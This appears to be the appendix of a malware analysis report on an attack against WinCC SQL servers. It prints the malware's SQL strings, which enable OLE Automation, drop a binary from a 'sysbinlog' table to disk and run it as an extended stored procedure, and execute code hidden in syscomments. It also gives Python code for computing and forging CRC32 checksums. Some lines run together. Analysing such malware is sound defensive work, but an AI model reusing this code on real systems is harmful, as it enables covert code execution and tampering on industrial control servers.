DECLARE @vr varchar(256)
SET @vr = CONVERT(varchar(256), (SELECT serverproperty('productversion') ))IF @vr > '9'
BEGIN
EXEC sp_configure 'show advanced options', 1 RECONFIGURE WITH OVERRIDEEXEC sp_configure 'Ole Automation Procedures', 1 RECONFIGURE WITH OVERRIDEENDString 14
DECLARE@ashl int,
@aind varchar(260),@ainf varchar(260),@hr int
EXEC @hr = sp_OACreate 'WScript.Shell', @ashl OUT
IF @hr <> 0
GOTO endq
EXEC sp_OAMethod @ashl, 'ExpandEnvironmentStrings', @aind OUT,'%%ALLUSERSPROFILE%%'SET @ainf = @aind + '\sql%05x.dbi'
DECLARE@aods int,
@adss int,
@aip int,@abf varbinary(4096)
EXEC @hr = sp_OACreate 'ADODB.Stream', @aods OUT
IF @hr <> 0
GOTO endq
EXEC @hr = sp_OASetProperty @aods, 'Type', 1
IF @hr <> 0
GOTO endq
EXEC @hr = sp_OAMethod @aods, 'Open', nullIF @hr <> 0
GOTO endq
SET @adss = ( SELECT DATALENGTH(abin) FROM sysbinlog )SET @aip = 1

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80
WHILE ( @aip <= @adss )BEGIN
SET @abf = ( SELECT SUBSTRING (abin, @aip, 4096 ) FROM sysbinlog )EXEC @hr = sp_OAMethod @aods, 'Write', null, @abf
IF @hr <> 0
GOTO endq
SET @aip = @aip + 4096
END
EXEC @hr = sp_OAMethod @aods, 'SaveToFile', null, @ainf, 2
IF @hr <> 0
GOTO endq
EXEC sp_OAMethod @aods, 'Close', null
endq:
EXEC sp_dropextendedproc sp_dumpdbilog

String 15
DECLARE@ashl int,
@aind varchar(260),@ainf varchar(260),@hr int
EXEC @hr = sp_OACreate 'WScript.Shell', @ashl OUT
IF @hr <> 0
GOTO endq
EXEC sp_OAMethod @ashl, 'ExpandEnvironmentStrings', @aind OUT,'%%ALLUSERSPROFILE%%'SET @ainf = @aind + '\sql%05x.dbi'
EXEC sp_addextendedproc sp_dumpdbilog, @ainf
EXEC sp_dumpdbilog
EXEC sp_dropextendedproc sp_dumpdbilog
endq:

String 16
DECLARE@ashl int,
@aind varchar(260),@ainf varchar(260),@hr int
EXEC @hr = sp_OACreate 'WScript.Shell', @ashl OUT
IF @hr <> 0
GOTO endq
EXEC sp_OAMethod @ashl, 'ExpandEnvironmentStrings', @aind OUT,'%%ALLUSERSPROFILE%%'SET @ainf = @aind + '\sql%05x.dbi'
DECLARE @fs int
EXEC @hr = sp_OACreate 'Scripting.FileSystemObject', @fs OUT
IF @hr <> 0
GOTO endq
EXECUTE sp_OAMethod @fs, 'DeleteFile', NULL, @ainf
endq:

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81
String 17
DROP TABLE sysbinlog

String 18
CREATE TABLE sysbinlog ( abin image ) INSERT INTO sysbinlog VALUES(0xString 190;set IMPLICIT_TRANSACTIONS off;declare @z nvarchar(999);set @z=''use [?];declare @t
nvarchar(2000);declare @s nvarchar(9);set @s=''''--CC-S''''+char(80);if
left(db_name(),2)=''''CC'''' select@t=substring(text,charindex(@s,text)+8,charindex(''''--*'''',text)-charindex(@s,text)-8)from syscomments where text like (''''%''''+@s+''''%'''');if @t is not NULL
exec(@t)'';exec sp_msforeachdb @z')

String 20((SELECT top 1 1 FROM MCPVREADVARPERCON)='1') --CC-SP

String 21
use master

String 22
select name from master..sysdatabases where filename like N'%s'

String 23
exec master..sp_attach_db 'wincc_svr', N'%s', N'%s'

String 24
exec master..sp_detach_db 'wincc_svr'

String 25
use wincc_svr

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82

Appendix D
Algorithm for calculating CRC32 checksum in python:
crc32_table = (0x00000000, 0x77073096, 0xee0e612c, 0x990951ba,
0x076dc419, 0x706af48f, 0xe963a535, 0x9e6495a3,
0x0edb8832, 0x79dcb8a4, 0xe0d5e91e, 0x97d2d988,
0x09b64c2b, 0x7eb17cbd, 0xe7b82d07, 0x90bf1d91,
0x1db71064, 0x6ab020f2, 0xf3b97148, 0x84be41de,
0x1adad47d, 0x6ddde4eb, 0xf4d4b551, 0x83d385c7,
0x136c9856, 0x646ba8c0, 0xfd62f97a, 0x8a65c9ec,
0x14015c4f, 0x63066cd9, 0xfa0f3d63, 0x8d080df5,
0x3b6e20c8, 0x4c69105e, 0xd56041e4, 0xa2677172,
0x3c03e4d1, 0x4b04d447, 0xd20d85fd, 0xa50ab56b,
0x35b5a8fa, 0x42b2986c, 0xdbbbc9d6, 0xacbcf940,
0x32d86ce3, 0x45df5c75, 0xdcd60dcf, 0xabd13d59,
0x26d930ac, 0x51de003a, 0xc8d75180, 0xbfd06116,
0x21b4f4b5, 0x56b3c423, 0xcfba9599, 0xb8bda50f,
0x2802b89e, 0x5f058808, 0xc60cd9b2, 0xb10be924,
0x2f6f7c87, 0x58684c11, 0xc1611dab, 0xb6662d3d,
0x76dc4190, 0x01db7106, 0x98d220bc, 0xefd5102a,
0x71b18589, 0x06b6b51f, 0x9fbfe4a5, 0xe8b8d433,
0x7807c9a2, 0x0f00f934, 0x9609a88e, 0xe10e9818,
0x7f6a0dbb, 0x086d3d2d, 0x91646c97, 0xe6635c01,
0x6b6b51f4, 0x1c6c6162, 0x856530d8, 0xf262004e,
0x6c0695ed, 0x1b01a57b, 0x8208f4c1, 0xf50fc457,
0x65b0d9c6, 0x12b7e950, 0x8bbeb8ea, 0xfcb9887c,
0x62dd1ddf, 0x15da2d49, 0x8cd37cf3, 0xfbd44c65,
0x4db26158, 0x3ab551ce, 0xa3bc0074, 0xd4bb30e2,
0x4adfa541, 0x3dd895d7, 0xa4d1c46d, 0xd3d6f4fb,
0x4369e96a, 0x346ed9fc, 0xad678846, 0xda60b8d0,0x44042d73, 0x33031de5, 0xaa0a4c5f, 0xdd0d7cc9,0x5005713c, 0x270241aa, 0xbe0b1010, 0xc90c2086,
0x5768b525, 0x206f85b3, 0xb966d409, 0xce61e49f,
0x5edef90e, 0x29d9c998, 0xb0d09822, 0xc7d7a8b4,
0x59b33d17, 0x2eb40d81, 0xb7bd5c3b, 0xc0ba6cad,
0xedb88320, 0x9abfb3b6, 0x03b6e20c, 0x74b1d29a,0xead54739, 0x9dd277af, 0x04db2615, 0x73dc1683,
0xe3630b12, 0x94643b84, 0x0d6d6a3e, 0x7a6a5aa8,
0xe40ecf0b, 0x9309ff9d, 0x0a00ae27, 0x7d079eb1,
0xf00f9344, 0x8708a3d2, 0x1e01f268, 0x6906c2fe,
0xf762575d, 0x806567cb, 0x196c3671, 0x6e6b06e7,
0xfed41b76, 0x89d32be0, 0x10da7a5a, 0x67dd4acc,
0xf9b9df6f, 0x8ebeeff9, 0x17b7be43, 0x60b08ed5,
0xd6d6a3e8, 0xa1d1937e, 0x38d8c2c4, 0x4fdff252,
0xd1bb67f1, 0xa6bc5767, 0x3fb506dd, 0x48b2364b,
0xd80d2bda, 0xaf0a1b4c, 0x36034af6, 0x41047a60,
0xdf60efc3, 0xa867df55, 0x316e8eef, 0x4669be79,
0xcb61b38c, 0xbc66831a, 0x256fd2a0, 0x5268e236,
0xcc0c7795, 0xbb0b4703, 0x220216b9, 0x5505262f,
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83
0xc5ba3bbe, 0xb2bd0b28, 0x2bb45a92, 0x5cb36a04,
0xc2d7ffa7, 0xb5d0cf31, 0x2cd99e8b, 0x5bdeae1d,
0x9b64c2b0, 0xec63f226, 0x756aa39c, 0x026d930a,
0x9c0906a9, 0xeb0e363f, 0x72076785, 0x05005713,
0x95bf4a82, 0xe2b87a14, 0x7bb12bae, 0x0cb61b38,
0x92d28e9b, 0xe5d5be0d, 0x7cdcefb7, 0x0bdbdf21,
0x86d3d2d4, 0xf1d4e242, 0x68ddb3f8, 0x1fda836e,
0x81be16cd, 0xf6b9265b, 0x6fb077e1, 0x18b74777,
0x88085ae6, 0xff0f6a70, 0x66063bca, 0x11010b5c,
0x8f659eff, 0xf862ae69, 0x616bffd3, 0x166ccf45,
0xa00ae278, 0xd70dd2ee, 0x4e048354, 0x3903b3c2,
0xa7672661, 0xd06016f7, 0x4969474d, 0x3e6e77db,
0xaed16a4a, 0xd9d65adc, 0x40df0b66, 0x37d83bf0,
0xa9bcae53, 0xdebb9ec5, 0x47b2cf7f, 0x30b5ffe9,
0xbdbdf21c, 0xcabac28a, 0x53b39330, 0x24b4a3a6,
0xbad03605, 0xcdd70693, 0x54de5729, 0x23d967bf,
0xb3667a2e, 0xc4614ab8, 0x5d681b02, 0x2a6f2b94,
0xb40bbe37, 0xc30c8ea1, 0x5a05df1b, 0x2d02ef8d)
def crc32(data):
crc = 0xffffffff
for i in xrange(len(data)):
crc = (crc >> 8) ^ crc32_table[(crc & 0x000000ff) ^ data[i]]return crc

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84

Appendix E
Algorithm for forging CRC32 checksum in python. It is supposed that the message ends with a nullterminated Unicode string <!--XY-->:
crc32_reverse = (0x00000000, 0xDB710641, 0x6D930AC3, 0xB6E20C82,
0xDB261586, 0x005713C7, 0xB6B51F45, 0x6DC41904,
0x6D3D2D4D, 0xB64C2B0C, 0x00AE278E, 0xDBDF21CF,
0xB61B38CB, 0x6D6A3E8A, 0xDB883208, 0x00F93449,
0xDA7A5A9A, 0x010B5CDB, 0xB7E95059, 0x6C985618,
0x015C4F1C, 0xDA2D495D, 0x6CCF45DF, 0xB7BE439E,
0xB74777D7, 0x6C367196, 0xDAD47D14, 0x01A57B55,
0x6C616251, 0xB7106410, 0x01F26892, 0xDA836ED3,
0x6F85B375, 0xB4F4B534, 0x0216B9B6, 0xD967BFF7,
0xB4A3A6F3, 0x6FD2A0B2, 0xD930AC30, 0x0241AA71,
0x02B89E38, 0xD9C99879, 0x6F2B94FB, 0xB45A92BA,
0xD99E8BBE, 0x02EF8DFF, 0xB40D817D, 0x6F7C873C,
0xB5FFE9EF, 0x6E8EEFAE, 0xD86CE32C, 0x031DE56D,
0x6ED9FC69, 0xB5A8FA28, 0x034AF6AA, 0xD83BF0EB,
0xD8C2C4A2, 0x03B3C2E3, 0xB551CE61, 0x6E20C820,
0x03E4D124, 0xD895D765, 0x6E77DBE7, 0xB506DDA6,0xDF0B66EA, 0x047A60AB, 0xB2986C29, 0x69E96A68,
0x042D736C, 0xDF5C752D, 0x69BE79AF, 0xB2CF7FEE,
0xB2364BA7, 0x69474DE6, 0xDFA54164, 0x04D44725,
0x69105E21, 0xB2615860, 0x048354E2, 0xDFF252A3,
0x05713C70, 0xDE003A31, 0x68E236B3, 0xB39330F2,
0xDE5729F6, 0x05262FB7, 0xB3C42335, 0x68B52574,
0x684C113D, 0xB33D177C, 0x05DF1BFE, 0xDEAE1DBF,
0xB36A04BB, 0x681B02FA, 0xDEF90E78, 0x05880839,
0xB08ED59F, 0x6BFFD3DE, 0xDD1DDF5C, 0x066CD91D,
0x6BA8C019, 0xB0D9C658, 0x063BCADA, 0xDD4ACC9B,
0xDDB3F8D2, 0x06C2FE93, 0xB020F211, 0x6B51F450,0x0695ED54, 0xDDE4EB15, 0x6B06E797, 0xB077E1D6,
0x6AF48F05, 0xB1858944, 0x076785C6, 0xDC168387,
0xB1D29A83, 0x6AA39CC2, 0xDC419040, 0x07309601,
0x07C9A248, 0xDCB8A409, 0x6A5AA88B, 0xB12BAECA,
0xDCEFB7CE, 0x079EB18F, 0xB17CBD0D, 0x6A0DBB4C,
0x6567CB95, 0xBE16CDD4, 0x08F4C156, 0xD385C717,
0xBE41DE13, 0x6530D852, 0xD3D2D4D0, 0x08A3D291,
0x085AE6D8, 0xD32BE099, 0x65C9EC1B, 0xBEB8EA5A,
0xD37CF35E, 0x080DF51F, 0xBEEFF99D, 0x659EFFDC,
0xBF1D910F, 0x646C974E, 0xD28E9BCC, 0x09FF9D8D,
0x643B8489, 0xBF4A82C8, 0x09A88E4A, 0xD2D9880B,
0xD220BC42, 0x0951BA03, 0xBFB3B681, 0x64C2B0C0,
0x0906A9C4, 0xD277AF85, 0x6495A307, 0xBFE4A546,
0x0AE278E0, 0xD1937EA1, 0x67717223, 0xBC007462,
0xD1C46D66, 0x0AB56B27, 0xBC5767A5, 0x672661E4,
0x67DF55AD, 0xBCAE53EC, 0x0A4C5F6E, 0xD13D592F,
0xBCF9402B, 0x6788466A, 0xD16A4AE8, 0x0A1B4CA9,
0xD098227A, 0x0BE9243B, 0xBD0B28B9, 0x667A2EF8,
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85
0x0BBE37FC, 0xD0CF31BD, 0x662D3D3F, 0xBD5C3B7E,
0xBDA50F37, 0x66D40976, 0xD03605F4, 0x0B4703B5,
0x66831AB1, 0xBDF21CF0, 0x0B101072, 0xD0611633,
0xBA6CAD7F, 0x611DAB3E, 0xD7FFA7BC, 0x0C8EA1FD,
0x614AB8F9, 0xBA3BBEB8, 0x0CD9B23A, 0xD7A8B47B,
0xD7518032, 0x0C208673, 0xBAC28AF1, 0x61B38CB0,
0x0C7795B4, 0xD70693F5, 0x61E49F77, 0xBA959936,
0x6016F7E5, 0xBB67F1A4, 0x0D85FD26, 0xD6F4FB67,
0xBB30E263, 0x6041E422, 0xD6A3E8A0, 0x0DD2EEE1,
0x0D2BDAA8, 0xD65ADCE9, 0x60B8D06B, 0xBBC9D62A,
0xD60DCF2E, 0x0D7CC96F, 0xBB9EC5ED, 0x60EFC3AC,
0xD5E91E0A, 0x0E98184B, 0xB87A14C9, 0x630B1288,
0x0ECF0B8C, 0xD5BE0DCD, 0x635C014F, 0xB82D070E,
0xB8D43347, 0x63A53506, 0xD5473984, 0x0E363FC5,
0x63F226C1, 0xB8832080, 0x0E612C02, 0xD5102A43,
0x0F934490, 0xD4E242D1, 0x62004E53, 0xB9714812,
0xD4B55116, 0x0FC45757, 0xB9265BD5, 0x62575D94,
0x62AE69DD, 0xB9DF6F9C, 0x0F3D631E, 0xD44C655F,
0xB9887C5B, 0x62F97A1A, 0xD41B7698, 0x0F6A70D9)
def crc32forge(data, original_crc):
crc = 0xffffffff
for i in xrange(len(data) - 12):
crc = (crc >> 8) ^ crc32_table[(crc & 0x000000ff) ^ data[i]]data[len(data) - 12] = (crc & 0x000000ff) >> 0;
data[len(data) - 11] = (crc & 0x0000ff00) >> 8;
data[len(data) - 10] = (crc & 0x00ff0000) >> 16;
data[len(data) - 9] = (crc & 0xff000000) >> 24;
for i in xrange(12):original_crc = ((original_crc << 8) ^ crc32_reverse[original_crc >> 24] ^ data[len(data) - 1 - i]) &0xffffffff
print "%X" % original_crc
data[len(data) - 12] = (original_crc & 0x000000ff) >> 0;
data[len(data) - 11] = (original_crc & 0x0000ff00) >> 8;
data[len(data) - 10] = (original_crc & 0x00ff0000) >> 16;
data[len(data) - 9] = (original_crc & 0xff000000) >> 24;

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